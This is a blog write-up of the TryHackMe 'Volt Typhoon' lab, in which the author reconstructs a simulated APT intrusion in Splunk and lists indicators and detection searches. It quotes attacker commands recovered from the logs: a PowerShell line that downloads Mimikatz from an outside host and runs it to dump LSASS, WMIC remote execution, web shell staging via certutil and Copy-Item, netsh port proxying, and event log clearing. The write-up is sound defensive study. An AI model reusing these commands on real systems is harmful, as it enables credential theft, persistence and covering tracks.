Post

Volt Typhoon intrusion investigation

Splunk-based reconstruction of a Volt Typhoon-style intrusion using ADSelfService Plus, WMIC, PowerShell, web shells, Mimikatz, netsh proxying and event log cleanup evidence.

Volt Typhoon intrusion investigation

Overview

This writeup documents my investigation of the TryHackMe room Volt Typhoon, where I played the role of a security analyst retracing a suspected APT intrusion through Splunk logs.

The scenario provided multiple log sources over a two-week period. The goal was to rebuild the attacker timeline, identify the compromised account, follow execution and persistence activity, and extract the key indicators left behind by the attacker.

Lab context

FieldValue
PlatformTryHackMe
RoomVolt Typhoon
FocusThreat hunting, Windows logs, PowerShell, WMIC, credential access
Main toolsSplunk, PowerShell log analysis, base64 decoding
Threat patternLiving-off-the-land execution and stealthy persistence

Investigation summary

The intrusion began with the takeover of the dean-admin account through ADSelfService Plus. After that, the attacker created a new administrator account, used WMIC for reconnaissance and remote command execution, copied sensitive Active Directory and financial data, deployed a web shell for persistence, performed credential access with registry queries and Mimikatz, configured a C2 proxy with netsh, and cleared event logs.

Timeline

TimePhaseEvidence
2024-03-24T11:10:22Initial accessdean-admin password changed through ADSelfService Plus
2024-03-25ExecutionWMIC used for drive enumeration and archive staging
2024-03-28Persistence and credential accessWeb shell decoded with certutil; Mimikatz downloaded through encoded PowerShell
2024-03-29Lateral movement, C2 and cleanupWeb shell copied to server-02; netsh portproxy; event logs cleared

Initial access

The room pointed toward ADSelfService Plus, so I searched for password changes linked to the compromised admin account:

index=* service_name=ADSelfServicePlus username="dean-admin" "password change"

This revealed:

FieldValue
Accountdean-admin
ServiceADSelfServicePlus
Source IP192.168.1.134
Access modeweb_browser
Timestamp2024-03-24T11:10:22

By reviewing rare username values after the takeover, I identified the new administrator account:

1
voltyp-admin

Execution through WMIC

Volt Typhoon-style activity commonly uses legitimate Windows tooling. I filtered on the WMIC sourcetype and target server names:

index="main" sourcetype="wmic" "*server01*" "*server02*"

The attacker enumerated local drives:

wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename

My first searches for ntds did not directly expose the archive password, so I pivoted to compression behavior:

index="main" sourcetype="wmic" "*7z*"

The command exposed the password used to compress the Active Directory database copy:

wmic /node:webserver-01 process call create "cmd.exe /c 7z a -v100m -p d5ag0nm@5t3r -t7z cisco-up.7z C:\inetpub\wwwroot\temp.dit"

Archive password:

1
d5ag0nm@5t3r

Persistence

The attacker staged a web shell in a temporary directory:

1
certutil -decode C:\Windows\Temp\ntuser.ini C:\Windows\Temp\iisstart.aspx

It was then copied to an IIS web root on another server:

1
Copy-Item -Path "C:\Windows\Temp\iisstart.aspx" -Destination "\\server-02\C$\inetpub\wwwroot\AuditReport.jspx"

The final web shell name was:

1
AuditReport.jspx

Defense evasion

The attacker removed RDP history with PowerShell:

1
Remove-ItemProperty

They also renamed the archive to look like an image:

1
cisco-up.7z -> c164.gif

Virtualization checks appeared under:

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

Credential access

Registry queries targeted software that may store useful credentials:

1
OpenSSH, putty, realvnc

For Mimikatz, the useful pivot was encoded PowerShell. Searching for execution flags and base64 padding revealed the hidden command:

index="main" "exec" "="

Decoded payload:

1
Invoke-WebRequest -Uri "http://voltyp.com/3/tlz/mimikatz.exe" -OutFile "C:\Temp\db2\mimikatz.exe"; Start-Process -FilePath "C:\Temp\db2\mimikatz.exe" -ArgumentList @("sekurlsa::minidump lsass.dmp","exit") -NoNewWindow -Wait

Discovery, collection and C2

The attacker queried Windows event logs with wevtutil and searched for authentication-related event IDs:

1
4624 4625 4769

Financial files were copied from:

1
C:\ProgramData\FinanceBackup\

to:

1
C:\Windows\Temp\faudit\

Files staged:

1
2022.csv 2023.csv 2024.csv

For C2, the attacker configured netsh portproxy:

1
2
connectaddress=10.2.30.1
connectport=8443

Cleanup

Cleanup activity cleared four logs:

1
Application Security Setup System

The relevant behavior was:

"wevtutil cl"

Key indicators

TypeIndicator
Compromised accountdean-admin
Created admin accountvoltyp-admin
Initial access timestamp2024-03-24T11:10:22
Suspicious IP192.168.1.134
Archive passwordd5ag0nm@5t3r
Archive disguisec164.gif
Web shellAuditReport.jspx
Staging directoryC:\Windows\Temp\faudit\
C2 address10.2.30.1:8443
Mimikatz URLhttp://voltyp.com/3/tlz/mimikatz.exe

Detection ideas

BehaviorSearch ideaWhy it matters
Encoded PowerShellsourcetype=powershell ("-enc" OR "-E" OR "FromBase64String")Helps identify hidden payloads
WMIC remote executionsourcetype=wmic "process call create"Finds remote command execution
Archive staging"7z" OR ".7z" OR "-p"Can reveal compressed data and archive passwords
Web shell copysourcetype=powershell "Copy-Item" ("wwwroot" OR ".aspx" OR ".jspx")Useful for IIS persistence hunting
Log clearing"wevtutil cl"Strong cleanup indicator
Port proxy"netsh" "portproxy" "connectaddress"Matches C2 proxy setup behavior

Lessons learned

The lab reinforced the need to pivot from exact keywords to attacker behavior. Searching for ntds did not immediately reveal the archive password, but searching for compression behavior with 7z did. The same applied to Mimikatz: the command was hidden behind base64, so encoded PowerShell patterns were more useful than searching only for the tool name.

The full intrusion became clear only when the events were read as a sequence. WMIC, PowerShell, certutil, netsh, wevtutil and registry queries can be legitimate, but their combined usage formed a coherent attack chain.

This post is licensed under CC BY 4.0 by the author.